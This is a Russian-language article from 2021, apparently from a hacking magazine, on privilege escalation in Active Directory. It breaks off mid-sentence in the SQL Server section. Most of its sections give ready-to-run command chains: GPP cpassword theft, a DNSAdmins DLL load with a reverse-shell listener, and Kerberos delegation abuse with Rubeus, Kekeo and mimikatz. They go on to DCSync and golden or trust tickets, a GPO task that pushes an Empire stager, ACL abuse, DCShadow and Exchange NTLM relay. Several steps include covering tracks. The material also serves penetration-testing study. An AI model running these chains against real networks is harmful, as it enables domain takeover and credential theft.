November 7, 2021

Атаки на Active Directory. Разбираем актуальные методы повышения привилегий

Чтобы скомпрометировать контроллер домена, мало найти известную уязвимость, получить учетные данные пользователя или обнаружить ошибку в настройке политики безопасности. Это обеспечит тебе минимальный доступ, но его может не хватить для достижения всех намеченных целей. Поэтому залог успешной атаки — получение повышенных системных привилегий в Active Directory. О методах решения этой увлекательной задачи мы и поговорим.

Пароли из SYSVOL и GPP

На каждом компьютере с Windows, который работает в сети с Active Directory, имеется встроенная учетная запись администратора, защищенная паролем. Одно из стандартных требований безопасности — регулярно менять этот пароль. Казалось бы, задача несложная. Но только не когда в сети насчитывается под сотню машин.

Чтобы облегчить себе жизнь, ленивые системные администраторы иногда используют групповые политики для установки пароля локального администратора на большом количестве рабочих станций. Это довольно удобно, да и заменить такой пароль, когда придет срок, можно за пару минут. Одна незадача: на всех компьютерах пароль локального админа будет одинаковый.

Из этого следует вывод: получение учетных данных администратора на одной из машин сделает злоумышленника админом сразу на всех. Рассмотрим два способа добиться такого результата.

Учетные данные в SYSVOL

SYSVOL — это общедоменный ресурс Active Directory, к которому у всех авторизованных пользователей есть доступ на чтение. SYSVOL содержит сценарии входа, данные групповой политики и другие данные, которые должны быть доступны везде, где распространяется политика домена. При этом SYSVOL автоматически синхронизируется и используется всеми контроллерами домена. Все групповые политики домена хранятся по адресу \\<Домен>\SYSVOL\<Домен>\Policies\.

Чтобы упростить управление локальной учетной записью администратора на удаленных компьютерах с Windows, для каждой из них можно использовать собственный сценарий смены пароля. Проблема в том, что часто пароль хранится в виде открытого текста в скрипте (например, в файле VBS), который, в свою очередь, находится в SYSVOL. Вот пример одного из результатов поиска сценария VBS, меняющего пароль локального администратора на сетевых машинах.

Этот сценарий доступен в галерее Microsoft TechNet, из-за чего нередко используется системными администраторами, которые предпочитают готовые решения. Извлечь из него пароль не составляет никакого труда. А поскольку скрипт хранится в SYSVOL, к которому у каждого пользователя домена есть доступ для чтения, наличие пароля автоматически превращает его обладателя в локального администратора на всех сетевых машинах с виндой на борту.

Настройки групповой политики

В 2006 году инструмент PolicyMaker от Microsoft Bought Desktop Standard был переименован и выпущен вместе с Windows Server 2008 как Group Policy Preferences (GPP, «предпочтения групповой политики»). Одна из наиболее полезных функций GPP — возможность создавать локальных пользователей, настраивать и изменять их учетки, а также сохранять учетные данные в нескольких файлах сценариев:

  • карта дисков (Drives.xml);
  • источники данных (DataSources.xml);
  • конфигурация принтера (Printers.xml);
  • создание/обновление сервисов (Services.xml);
  • запланированные задачи (ScheduledTasks.xml).

Инструмент, безусловно, полезный: с его помощью можно автоматизировать многие рутинные действия. Например, GPP позволяет использовать групповую политику для выполнения запланированных задач с заданными учетными данными, а также при необходимости менять пароли локального администратора на большом количестве компьютеров.

Теперь давай посмотрим, как эта штука работает. При создании нового предпочтения групповой политики в SYSVOL генерируется связанный XML-файл с соответствующими данными конфигурации. Если в ней указан пароль пользователя, он будет зашифрован AES 256 бит. Но в 2012 году Microsoft опубликовала в MSDN ключ AES, который можно использовать для расшифровки пароля.

Иными словами, любой авторизованный в домене юзер может найти в общем ресурсе SYSVOL файлы XML, содержащие cpassword, то есть зашифрованный пароль AES.

Быстро найти эти значения можно следующей командой:

C:\> findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policy\*. xml

Для расшифровки пароля можно воспользоваться инструментом Cryptool, при этом нужно в ручном режиме декодировать Base64 и указать ключ с MSDN (подробная инструкция по расшифровке приведена в статье на Хабре). Существует и полностью автоматизированное средство под названием gpp-decrypt, которое требует только значение cpassword и уже предустановлено в Kali Linux. Аналогичная утилита для Windows называется Get-GPPPassword, ее можно отыскать в наборе программ PowerSploit.

Ну а для очень ленивых есть модуль smb_enum_gpp из набора Metasploit. Этот инструмент попросит указать только учетные данные пользователей и адрес контроллера домена.

Так мы можем получить пароль локального администратора, и в большинстве случаев он будет работать на всех компьютерах домена.

DNSAdmins

Microsoft не только реализовала собственный DNS-сервер, но и внедрила для него протокол управления, позволяющий интегрировать DNS-сервер с доменами Active Directory. По умолчанию контроллеры домена также являются DNS-серверами, поэтому DNS-серверы должны быть доступны каждому пользователю домена. Это, в свою очередь, открывает потенциальную возможность для атаки на контроллеры домена: с одной стороны мы имеем сам протокол DNS, а с другой — протокол управления, основанный на RPC.

Пользователь, входящий в группу DNSAdmins или имеющий права на запись в объекты DNS-сервера, может загрузить на DNS-сервер произвольную DLL с привилегиями System. Это очень опасно, поскольку многие корпоративные сети используют контроллер домена в качестве DNS-сервера.

Таким образом, для реализации атаки мы можем просто загрузить на DNS-сервер произвольную библиотеку с помощью dnscmd (путь \\ops-build\dll должен быть доступен для чтения DC):

PS C:\> dnscmd ops_dc/config/serverlevelplugindll \\ops-build\dll\mimilib.dll

Чтобы проверить, была ли загружена DLL, можно использовать следующую команду:

PS C:\> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Так как наш пользователь — член группы DNSAdmins, мы можем перезапустить службу DNS:

C:\> sc \\ops-dc stop dns C:\> sc \\ops-dc start dns

После перезапуска DNS-сервера будет выполнен код из загруженной библиотеки. Такая библиотека, например, может содержать скрипт PowerShell для обратного подключения.

После успешного выполнения скрипта мы будем прослушивать на своем хосте обратное подключение:

PS C:\> powercat -l -v -p 443 -t 1000

В результате мы получим права system на DC.

Делегирование Kerberos

Делегирование — это функция Active Directory, позволяющая учетке пользователя или компьютера выдавать себя за другую учетную запись. В качестве примера разберем ситуацию, когда пользователь обращается к веб-приложению, чтобы работать с ресурсами на сервере базы данных.

Исходя из этой схемы, веб-сервер должен работать с сервером базы данных от имени пользователя. Здесь и помогает делегирование — к учетным записям пользователей в среде Windows применяется флаг TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D) User-Account-Control.

Для реализации делегирования Microsoft внедрила расширение протокола Kerberos «Служба для доступа пользователя к себе» (S4U2Self). Это расширение позволяет службе запрашивать токен для другого пользователя, предоставляя имя пользователя, но не вводя пароль. Когда учетная запись пользователя имеет флаг T24AD, такие токены могут быть запрошены с атрибутом forwardable, который дает службе возможность аутентифицироваться с этими токенами для других служб.

Чтобы избежать неограниченного делегирования, Microsoft гарантировала, что данные токены могут использоваться только для определенных служб, которые настроены для учетной записи пользователя через расширение «Служба для пользователя через прокси» (S4U2proxy). Этот параметр контролируется атрибутом msDS-AllowedToDelegateTo в учетной записи пользователя. Он содержит список имен участников службы, который указывает, на какие службы Kerberos пользователь может перенаправлять эти токены (так же, как выполняется обычное ограниченное делегирование в Kerberos). Например, ты хочешь, чтобы твоя веб-служба имела доступ к общей папке для пользователей. Тогда учетная запись службы должна иметь атрибут ms-DS-AllowedToDelegateTo "SIFS/fs.dom.com".

Для наглядности рассмотрим схему аутентификации Kerberos.

  1. Пользователь аутентифицируется в веб-сервисе с использованием не Kerberos-совместимого механизма аутентификации.
  2. Веб-служба запрашивает билет для учетной записи user без указания пароля, как для учетной записи svc_web.
  3. KDC проверяет значение svc_web userAccountControl для флага TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, а также не заблокирован ли целевой пользователь для делегирования. Если все в порядке, KDC возвращает перенаправляемый билет для учетной записи пользователя (S4U2Self).
  4. Затем служба передает этот билет обратно в KDC и запрашивает билет для службы cifs/fs.contoso.com.
  5. KDC проверяет поле msDS-AllowedToDelegateTo в учетной записи svc_web. Если служба указана в списке, она вернет билет службы для общей папки (S4U2proxy).
  6. Веб-служба теперь может проходить проверку подлинности на общем ресурсе в качестве учетной записи пользователя с использованием предоставленного билета.

Неограниченное делегирование

При неограниченном делегировании Kerberos на сервере, на котором размещена служба, контроллер домена DC помещает копию TGT (ticket granting ticket — билет для получения билета) пользователя в TGS (Ticket Granting Server — сервер выдачи билетов или разрешений) службы. Когда данные пользователя предоставляются серверу для доступа к службе, сервер открывает TGS и помещает TGT пользователя в LSASS (Local Security Authority Subsystem Service — сервис проверки подлинности локальной системы безопасности) для дальнейшего использования. Сервер приложений теперь может выдавать себя за этого пользователя без ограничений!

Таким образом, хост, на котором активно неограниченное делегирование, будет содержать в памяти TGT делегированного пользователя. Наша задача — его достать, чтобы скомпрометировать пользователя. Данный вид атаки возможен, если мы скомпрометировали сам хост либо пользователя, имеющего право управлять хостом с делегированием.

Обнаружить все компьютеры с неограниченным делегированием Kerberos очень просто: у них будет выставлен флаг TrustedForDelegation. Это определяется с помощью инструмента ADModule, а конкретнее — следующей команды:

PS C:\> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Того же результата можно достигнуть, выполнив такую команду PowerView:

PS C:\> Get-DomainComputer–Unconstrained

Теперь нужно отослать запрос MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (аутентификация Kerberos) на сервер печати DC (служба Spooler). DC немедленно отправит ответ, который включает TGS (полную копию TGT) учетной записи компьютера контроллера домена, так как на нашем хосте используется неограниченное делегирование.

Чтобы это сделать, сначала поставим прослушивание входящих соединений с помощью Rubeus:

C:\> Rubeus.exe monitor /interval:1

Теперь инициируем запрос с помощью SpoolSample:

C:\>. \SpoolSample.exe DC.domain.dom yourhost.domain.dom

В Rubeus мы увидим подключение.

Теперь получим TGT:

C:\> Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaE ... C:\> Rubeus.exe klist

Имея TGT, мы можем выполнить DCSync-атаку с помощью mimikatz:

## lsadump::dcsync /user:HACKER\krbtgt

Мы добыли NTLM-хеш учетной записи krbtgt и теперь можем сделать golden ticket, с которым получим полный доступ ко всей инфраструктуре домена:

## kerberos::golden /user:Administrator /domain:domain.dom /sid:S-1-5-21-1559558046-1467622633-168486225 /krbtgt:9974f218204d6b8109ea99ae9c209f23 /ptt

Теперь можно удаленно подключиться к контроллеру домена с учетной записью администратора:

PS C:\> Enter-PSSession -ComputerName dc

Ограниченное делегирование

Не вдаваясь в подробности реализации S4U2Self/S4U2proxy, можно сказать, что любые учетные записи с SPN (Service Principal Name), имеющие в свойствах установленный атрибут msDS-AllowedToDelegateTo, могут выдавать себя за любого пользователя в домене.

Если бы можно было изменить содержимое msDS-AllowedToDelegateTo для произвольной учетной записи, мы могли бы выполнить DCSync-атаку на текущий домен. Но для изменения любых параметров делегирования на контроллере домена нужно иметь привилегию SeEnableDelegationPrivilege. По умолчанию такими правами обладают только учетные записи администраторов домена.

Первое расширение, которое реализует ограниченное делегирование, — S4U2self. Оно позволяет службе запрашивать у себя специальный перенаправляемый TGS от имени конкретного пользователя. Такой механизм предназначен для случаев, когда пользователь авторизуется в сервисе без использования Kerberos (в нашем примере — с веб-сервисом).

Во время первого запроса TGS будет установлен флаг переадресации, чтобы возвращаемый TGS был помечен как пересылаемый и мог использоваться с расширением S4U2proxy. При неограниченном делегировании для идентификации пользователя применяется TGT, в этом случае расширение S4U использует структуру PA-FOR-USER в качестве нового типа в поле данных [padata]/pre-authentication.

S4U2self может выполняться для любой пользовательской учетной записи, при этом пароль целевого пользователя не требуется. Кроме того, S4U2self разрешается, только если учетка запрашивающего пользователя имеет флаг TRUSTED_TO_AUTH_FOR_DELEGATION.

Существует вид атак под названием Kerberoasting — они предназначены для извлечения служебных учетных записей из Active Directory от имени обычного пользователя без отсылки пакетов в целевую систему. Почему в рассматриваемом нами случае не получится извлечь с использованием Kerberoasting данные любого пользователя, которого мы захотим? Потому что сертификат Privilege Account Certificate (PAC) подписан для исходного (а не целевого) пользователя (в данном случае для запрашивающей учетной записи службы). Но зато теперь у нас есть специальный билет службы, который можно переадресовать целевой службе, настроенной для ограниченного делегирования.

Второе расширение, использующее ограниченное делегирование, — S4U2proxy. Оно позволяет вызывающей стороне (в нашем случае учетной записи службы) использовать этот перенаправляемый билет, чтобы запросить TGS к любому SPN, перечисленному в msDS-AllowedToDelegateTo, для олицетворения указанного на этапе S4U2self пользователя. KDC проверяет, есть ли запрашиваемый сервис в поле msDS-AllowedToDelegateTo запрашивающего пользователя, и выдает билет, если эта проверка прошла успешно.

Таким образом, мы можем определить критерий поиска ограниченного делегирования — ненулевое значение msDS-AllowedToDelegateTo:

PS C:\> Get-DomainComputer -TrastedToAuth PS C:\> Get-DomainUser -TrastedToAuth

Учетная запись компьютера или пользователя с SPN, указанным в msDS-AllowedToDelegateTo, может олицетворять любого пользователя в целевой службе. Поэтому, скомпрометировав одну из этих учетных записей, ты можешь захватить привилегии доступа к целевому SPN.

С использованием описанного принципа можно провести четыре атаки на повышение привилегий в системе.

Рассмотрим первый вариант. Если тебе известен пароль от учетной записи, для которой включено ограниченное делегирование, ты можешь использовать Kekeo для запроса TGT, выполнить запрос S4U TGS и затем получить доступ к целевой службе.

Выполняем запрос TGT для учетной записи пользователя с включенным ограниченным делегированием (к примеру, SQLService):

C:\> asktgt.exe /user:Пользователь /domain:домен /password:пароль /ticket:sqlservice.kirbi

Теперь выполняем S4U2proxy c полученным TGT. В результате у нас будет TGS для доступа к приватному ресурсу в домене:

C:\> s4u.exe /tgt:sqlservice.kirbi /user:Administrator@домен /service:cifs/ресурс_в_домене

Используем mimikatz, чтобы применить TGS:

## kerberos::ptt файл_с_полученным_TGS

В итоге мы получаем доступ к приватному ресурсу.

Если ты можешь скомпрометировать учетную запись компьютера, которая настроена для ограниченного делегирования, подход к атаке будет несколько другим. Поскольку любой процесс, выполняющийся с системными привилегиями, получает привилегии учетной записи локального компьютера, мы можем пропустить шаг с asktgt.exe. Ты также можешь использовать альтернативный метод для выполнения процесса S4U2proxy, предоставленный Microsoft. Для этого откроем PowerShell и выполним следующий код:

PS C:\> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') PS C:\> $Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]') PS C:\> $Context = $Ident.Impersonate()

Теперь, когда мы применили TGS указанного пользователя, мы можем снова работать с приватным ресурсом. Затем вернемся в свое пользовательское пространство следующей командой PowerShell:

PS C:\> $Context.Undo()

В третьем случае выполняются все те же действия, что и в первом, только вместо пароля используется NTLM-хеш пользователя. Четвертая атака аналогична третьему варианту, только вместо имени пользователя берется имя компьютера.

Ограниченное делегирование на основе ресурсов

Эта разновидность ограниченного делегирования очень похожа на обычное ограниченное делегирование, но работает в противоположном направлении. Ограниченное делегирование из учетной записи A в учетную запись B настраивается для учетной записи A в атрибуте msDS-AllowedToDelegateTo и определяет «исходящее» доверие от A до B, тогда как ограниченное делегирование на основе ресурсов настраивается для учетной записи B в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity и определяет «входящее» доверие от A до B.

Чтобы повысить привилегии при ограниченном делегировании на основе ресурсов, нужно указать в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity учетную запись контролируемого нами компьютера. Метод сработает, если мы знаем набор имен SPN для объекта, к которому хотим получить доступ. Дело в том, что с параметром MachineAccountQuota (по умолчанию он позволяет каждому пользователю создавать десять учетных записей компьютеров) это легко сделать из-под непривилегированной учетной записи. Единственная привилегия, которая нам понадобится, — это возможность записать атрибут на целевой компьютер.

Создаем учетную запись, к которой мы будем иметь полный доступ, с помощью PowerMad и указываем пароль компьютера, чтобы у нас был хеш для него.

PS C:\> $password = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force PS C:\> New-MachineAccount -machineaccount RBCDmachine -Password $($password)

Теперь нужно заполнить атрибут msDS-AllowedToActOnBehalfOfOtherIdentity для целевого DC, на который у нас имеются разрешения:

PS C:\> Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDmachine$ PS C:\> Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

На следующем этапе нужно получить хеш нашего пароля:

PS C:\> ConvertTo-NTHash $password

Теперь, когда у нас есть все необходимое для атаки, получим билет:

C:\> s4u.exe /user:RBCDmachine$ /rc4:хеш /impersonateuser:пользователь /msdsspn:cifs/ресурс /ptt

Мы получим тикет, проверить который можно так:

## klist

Таким образом нам открывается доступ к ресурсу на контроллере домена. Этим же способом можно выполнить DCSync через LDAP.

Небезопасные права доступа к объекту групповой политики

Объекты групповой политики — это контейнеры Active Directory, используемые для хранения объединенных в группы параметров политики. Эти объекты затем связываются с конкретными сайтами, доменами или с какими-либо организационными единицами (Organizational Unit — OU). Объекты групповой политики представляют собой очень сложные структуры, состоящие из связей, наследований, исключений, фильтров и групп. При конфигурации доменов в этом болоте часто допускают ошибки, которые невооруженным взглядом и не видны. Найти эти ошибки и показать путь компрометации объекта групповой политики поможет инструментарий BloodHound.

Предположим, что в объектах групповой политики имеется скомпрометированный элемент. Групповая политика имеет огромное количество параметров, которыми можно манипулировать. Это дает несколько способов скомпрометировать машины и пользователей, имеющих отношение к уязвимому объекту.

Например, можно выполнить определенные сценарии, настроить бэкдор в Internet Explorer, выдать MSI-файл в разделе «Установка программного обеспечения», добавить свою учетную запись домена в группу локальных администраторов или RDP либо принудительно смонтировать сетевой ресурс (который находится под нашим контролем, что дает возможность завладеть учетными данными подключившихся пользователей).

Для реализации задуманного можно запустить запланированную задачу, которая удаляется сама при каждом обновлении групповой политики. Эта часть атаки довольно проста — нам нужно создать шаблон .xml в виде schtask, а затем скопировать его в файл <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml объекта групповой политики, который мы можем редактировать. Подождав час-два до завершения цикла обновления групповой политики, мы удалим файл .xml, чтобы замести следы.

Модуль PowerView New-GPOImmediateTask может сделать это автоматически. Чтобы воспользоваться им, потребуется аргумент -TaskName, -Command, который задаст команду для запуска (по умолчанию — powershell.exe), а параметр -CommandArguments указывает аргументы для данного исполняемого файла. Описание задачи, ее автора и дату модификации также можно изменить с помощью соответствующих параметров. Файл Schtask.xml создается в соответствии с вашими спецификациями и копируется в местоположение, определяемое аргументами -GPOname или -GPODisplayname. По умолчанию функция спрашивает разрешения перед копированием, но эту опцию можно отключить с использованием аргумента -Force.

Давай используем New-GPOImmediateTask, чтобы загрузить Stager Empire на машины, где применяется объект групповой политики {3EE4BE4E-7397-4433-A9F1-3A5AE2F56EA2} (отображаемое имя SecurePolicy):

New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-

Полученный результат демонстрирует, насколько опасны ошибки в групповых политиках домена.

Небезопасные права доступа ACL

ACL (списки контроля доступа) — это набор правил, которые определяют, какие объекты имеют разрешения для иного объекта в среде Active Directory. Такими объектами могут быть учетные записи пользователей, группы, учетные записи компьютеров, сам домен и многое другое.

ACL может быть настроен для отдельного объекта, такого как учетная запись пользователя, но также его можно настроить и для OU. Основное преимущество настройки ACL в OU состоит в том, что при правильной настройке все объекты-потомки будут наследовать ACL. ACL OU, в котором находятся объекты, содержит элемент управления доступом (Access Control Entry, ACE). Он определяет идентификатор и соответствующие разрешения, применяющиеся к OU или нисходящим объектам. Каждый ACE включает в себя SID и маску доступа, причем ACE могут быть четырех типов: «доступ разрешен», «доступ отклонен», «разрешенный объект» и «запрещенный объект». Разница между типами «доступ разрешен» и «разрешенный объект» состоит только в том, что последний тип используется исключительно в Active Directory.

Рассмотрим пример атаки, использующей неправильную настройку ACL. Предположим, мы уже собрали исходную информацию с помощью BloodHound, поэтому сразу перейдем к стадии повышения привилегий.

BloodHound строит граф, где целевой группой выступает группа «Администраторы домена».

Слева находится пользователь с относительно низкими привилегиями и путь атаки только для ACL, который в итоге контролирует группу администраторов домена. Этот пользователь — член группы безопасности (MemberOf) в центре. Эта группа имеет полный контроль (GenericAll) над пользователем справа. Так как ACL наследуется, то пользователь слева тоже имеет такой контроль.

GenericAll означает полный контроль над объектом, включая возможность добавлять других участников в группу, изменять пароль пользователя, не зная текущего, регистрировать SPN. Эксплуатируется эта возможность с помощью Set-DomainUserPassword или Add-DomainGroupMember.

Идем дальше. Пользователь слева принадлежит группе в середине. Эта группа имеет как полный (GenericAll), так и избыточный (ForceChangePassword) контроль над пользователем слева.

ForceChangePassword подразумевает возможность изменить пароль целевого пользователя, не зная текущего. Эксплуатируется с помощью Set-DomainUserPassword.

Завершающий этап. Группа слева имеет привилегию ForceChangePassword в отношении нескольких пользователей, которые принадлежат к группе в центре. Эта группа в центре обладает полным контролем над группой справа («Администраторы домена»).

Важное замечание: контроль над группой «Администраторы домена» может означать, что мы получили контроль над пользователями в этой группе. В таком случае мы создадим своего пользователя и добавим его в данную группу. После этого мы можем выполнить DCSync-атаку и, чтобы скрыть свои следы, удалить созданного пользователя.

Вот так мы используем BloodHound и ошибки конфигурации ACL, чтобы получить контроль над доменом.

Не могу не упомянуть об автоматизированном варианте этой атаки, с использованием скрипта Invoke-ACLPwn. Инструмент экспортирует с помощью SharpHound все списки ACL в домене, а также членство в группе учетной записи пользователя, под которой он запускается.

Когда цепочка будет рассчитана, скрипт начнет последовательно выполнять каждый шаг в цепочке. При желании вызывается функция mimikatz DCSync и запрашивается хеш учетной записи пользователя. По умолчанию будет использоваться учетная запись krbtgt. После завершения эксплуатации сценарий удалит членство в группах, которые были добавлены во время эксплуатации, а также записи ACE в ACL объекта домена.

Результат тестирования компанией Fox-It представлен ниже.

Скрипт перечислил и прошел 26 групп, изменяя членство в группах безопасности и управления. В итоге был получен хеш учетной записи krbtgt.

Доменные трасты

Часто в организации используется несколько доменов с настроенными между ними доверительными отношениями — трастами. Это необходимо для того, чтобы пользователь из одного домена мог получить доступ к сервису в другом домене.

Доверительные отношения между доменами могут быть односторонними и двусторонними. То есть если домен А доверяет домену Б, то домен Б может оперировать ресурсами домена А. Также работает понятие транзитивности: если домен А доверяет домену Б, а домен Б доверяет домену В, то домен А тоже доверяет домену В.

Иерархическая система доменов, имеющая корневой домен, будет называться деревом доменов. При этом, если разные деревья находятся в разных формах доверительных отношений, совокупность этих деревьев будет называться лесом.

При аутентификации Kerberos между доменами, состоящими в доверительных отношениях, контроллер домена пользователя шифрует TGS не ключом службы, а общим ключом. Пользователь передает этот TGS контроллеру домена службы, а тот вернет ему TGS, зашифрованный ключом службы. Только теперь пользователь может обратиться к тому ресурсу, к которому хотел.

NTLM-аутентификация в данном случае отличается тем, что контроллер домена службы, проверив разрешения для аутентификации, передает запрос на контроллер домена клиента. Именно он проводит проверку и возвращает результат.

Схему аутентификации в доверенных доменах мы разобрали, как скомпрометировать DC в домене — тоже. Теперь разберемся, как скомпрометировать другой доверенный домен.

Пароль доверия можно отыскать в хранилище учетных данных домена. Для этого нужно найти имя со знаком доллара на конце. Большинство учетных записей с подобными именами — это учетные записи компьютеров, но некоторые будут трастовыми.

Ключ доверия был извлечен вместе со всеми пользовательскими данными при компрометации учетных данных Active Directory. Каждое доверие включает связанную учетную запись пользователя, которая содержит этот хеш пароля NTLM. Указанные данные могут быть использованы для подделки доверительных TGS.

Доверенный билет создается так же, как «золотой билет». Для этого используется та же команда mimikatz, но с разными параметрами. Ключ службы — это хеш пароля доверенного NTLM, а целью будет полное доменное имя целевого домена.

## kerberos::golden /domain:текущий_домен /sid:SID_домена /rc4:NTLM_хеш /user:Administrator /service:krbtgt /target:целевой_домен /ticket:путь_для_сохранения_билета

Теперь получим TGS для целевой службы в целевом домене, используя Kekeo.

C:\> asktgs.exe сохраненный_билет cifs/полное_имя_целевой_службы

О том, как применять полученный тикет, я рассказывал выше. Теперь рассмотрим, как подделать TGS внутри леса. Первым делом извлекаем все трастовые доверительные ключи:

## Privilage::debug ## Lsadump::trust /patch

И создаем поддельный доверительный TGT:

## kerberos::golden /domain:текущий_домен /sid:SID_домена /sids:SID_целевого домена /rc4:NTLM_хеш /user:Пользователь /service:krbtgt /target:целевой_домен /ticket:путь_для_сохранения_билета

Затем получаем TGS:

C:\> asktgs.exe сохраненный_билет cifs/полное_имя_целевого_контроллера_домена

И внедряем TGS, чтобы получить доступ с поддельными правами:

C:\> kirbikator lsa путь_к_TGS

После успешного выполнения команды пользователь станет администратором и получит повышенные права в целевом домене. Так мы можем продвигаться от домена к домену, поскольку каждый домен имеет связанный с другим доменом пароль.

DCShadow

Одна из задач злоумышленников — получать учетные данные пользователей и компьютеров, оставаясь незамеченным для средств обнаружения. С этой целью было разработано несколько методов атак: внедрение LSASS, злоупотребление теневым копированием, анализ тома NTFS, управление чувствительными атрибутами и другие.

Среди всех этих атак одна связана с атакой DCShadow. Атака DCSync основана на том, что члены групп «Администраторы домена» или «Контроллеры домена» могут запрашивать репликацию данных у DC. Фактически (как описано в спецификации MS-DRSR для репликации контроллера домена) эти группы могут запрашивать у контроллера домена репликацию объектов AD (включая учетные данные пользователя) через RPC GetNCChanges. DCSync-атака с использованием mimikatz выглядит следующим образом:

## lsadump::dcsync /user:Administrator

Одно из основных ограничений атаки DCSync — злоумышленник не сможет внедрить новые объекты в целевой домен. Он может стать владельцем административной учетной записи, используя Pass-The-Hash, и впоследствии вводить новые объекты. Но для этого требуется больше усилий, больше шагов, что повышает вероятность обнаружения. Атака DCShadow снимает это ограничение. С помощью DCShadow злоумышленники больше не пытаются реплицировать данные, а регистрируют новые контроллеры домена в целевой инфраструктуре для внедрения объектов Active Directory или изменения существующих.

Сервер можно назвать контроллером домена, если он предлагает четыре ключевых компонента:

  • базу данных, которая должна быть доступна через протоколы LDAP и реализовывать несколько RPC в соответствии со спецификациями MS-DRSR и MS-ADTS, то есть позволять репликацию данных;
  • сервис аутентификации, доступный через протоколы Kerberos, NTLM, Netlogon или WDigest;
  • систему управления конфигурацией, использующую протоколы SMB и LDAP;
  • сервис DNS, используемый клиентами для поиска ресурсов и поддержки аутентификации.

Помимо всего этого, новый DC должен быть зарегистрирован сервисом KCC (средство проверки согласованности знаний). KCC — это встроенный процесс, который выполняется на всех контроллерах домена и создает топологию репликации для леса Active Directory. KCC создает отдельные топологии репликации. Этот сервис также динамически корректирует топологию, чтобы она соответствовала добавлению новых контроллеров домена и удалению существующих контроллеров домена. По умолчанию KCC запускает репликацию каждые 15 минут.

Обеспечить все это можно при выполнении следующих условий: атака должна быть выполнена с компьютера в домене, у атакующего имеется привилегия System на компьютере и привилегия администратора домена в самом домене.

Первым делом с помощью mimikatz повышаем свои привилегии до System.

Теперь мы должны изменить значение userAccountControl:

lsadump::dcshadow /object:pc-10$ /atribute:userAccountControl /value:532480

Передаем соответствующий атрибут:

lsadump :: dcshadow /push

После выполнения команды увидим, как значения обновляются, а RPC-сервер останавливается.

Можно считать, что мы зарегистрировали новый контроллер домена, с которым можно производить дальнейшие операции.

Exchange

Основная уязвимость в инфраструктуре этого программного продукта такова. Exchange обладает высокими привилегиями в домене Active Directory. Группа Exchange Windows Permissions имеет доступ WriteDacl в Active Directory, что позволяет любому члену этой группы изменять привилегии домена, среди которых есть привилегия для реализации атаки DCSync.

Чтобы выполнить произвольный код на хостах в сети, можно использовать особенности передачи аутентификации NTLM через SMB. Но другие протоколы также уязвимы для ретрансляции. Наиболее интересен для этого протокол LDAP, который можно использовать для чтения и изменения объектов в каталоге. Дело в том, что при подключении сервера с Windows к компьютеру злоумышленника существует возможность передать автоматическую проверку подлинности пользователя в системе другим машинам в сети, как показано на рисунке. Такой прием называют relay-атакой.

Когда аутентификация передается в LDAP, объекты в каталоге могут быть изменены. В результате этим объектам предоставляются привилегии злоумышленника, включая привилегии, необходимые для операций DCSync. Таким образом, мы должны заставить сервер Exchange проходить аутентификацию с помощью NTLM. Для этого необходимо заставить Exchange аутентифицировать нашу систему.

Можно заставить Exchange аутентифицироваться по произвольному URL-адресу через HTTP с помощью функции Exchange PushSubscription. Служба push-уведомлений имеет возможность отправлять сообщения каждые X минут (где X может быть указан злоумышленником), даже если событие не произошло. Это гарантирует, что Exchange подключится к нам, даже если в папке входящих сообщений нет активности. Схема атаки показана на иллюстрации ниже.

Инструменты для выполнения такой атаки входят в состав пакета impacket.

Сначала для ретрансляции LDAP запустим ntlmrelayx, укажем подконтрольного нам пользователя и контроллер домена.

ntlmrelayx.py -t ldap://DC.domain.dom --escalate-user USER

Теперь используем privexchange:

privexchange -ah Attacker_host Exchange_host -u USER -d DOMEN

Тут есть одно важное но: пользователь должен иметь почтовый ящик на нашем Exchange-сервере. Через некоторое время (когда будет отправлено push-уведомление) в ntlmrelayx можно наблюдать следующий вывод.

Это означает, что у нашего пользователя есть привилегии для DCSync:

secretsdump domain/user@DC -just-dc

Таким образом Exchange позволяет нам получить репликацию учетных данных.

Sysadmin SQL Server

Рассмотрим последовательность действий, которую можно применить для использования учетной записи службы SQL Server, чтобы повысить привилегии от локального администратора до системного администратора DBA.

SQL Server — это еще одно приложение Windows. В случае SQL Server каждый экземпляр сервера устанавливается как набор служб Windows, которые работают в фоновом режиме. Каждая из этих служб настроена для работы с учетной записью Windows. Связанная учетная запись затем используется для глобального взаимодействия с операционной системой.

Основная служба Windows SQL Server — служба SQL Server, которая реализована в виде приложения sqlservr.exe.

Службы SQL Server могут быть настроены со многими типами учетных записей Windows. Вот их список:

  • локальный пользователь;
  • LocalSystem;
  • NetworkService;
  • локальная управляемая учетная запись службы;
  • учетная запись управляемого домена;
  • пользователь домена;
  • администратор домена.

Компрометация службы SQL Server может привести к компрометации всего домена. Но, независимо от привилегий учетной записи службы SQL Server в операционной системе, в SQL Server она имеет привилегии sysadmin по умолчанию.

Для получения учетной записи службы мы будем использовать PowerUpSQL. Для этого нам нужно иметь учетную запись локального администратора.

Сначала найдем локальный SQL Server. В этом нам поможет команда Get-SQLInstanceLocal. В выводе команды нас интересует строка, содержащая значение Instance: MSSQLSRV04\BOSCHSQL.

Следующей командой получим учетную запись SQL Server:

Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL

Нужно убедиться, что все прошло успешно:

Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\BOSCHSQL

В представленном выводе будет присутствовать строка CurrentLogin: NT Service\MSSQL$BOSCHSQL.

В итоге мы получаем привилегию sysAdmin DBO. Также есть решение, которое запустит cmd.exe в контексте каждой учетной записи службы SQL, связанной с экземпляром MSSQLSRV04\BOSCHSQL:

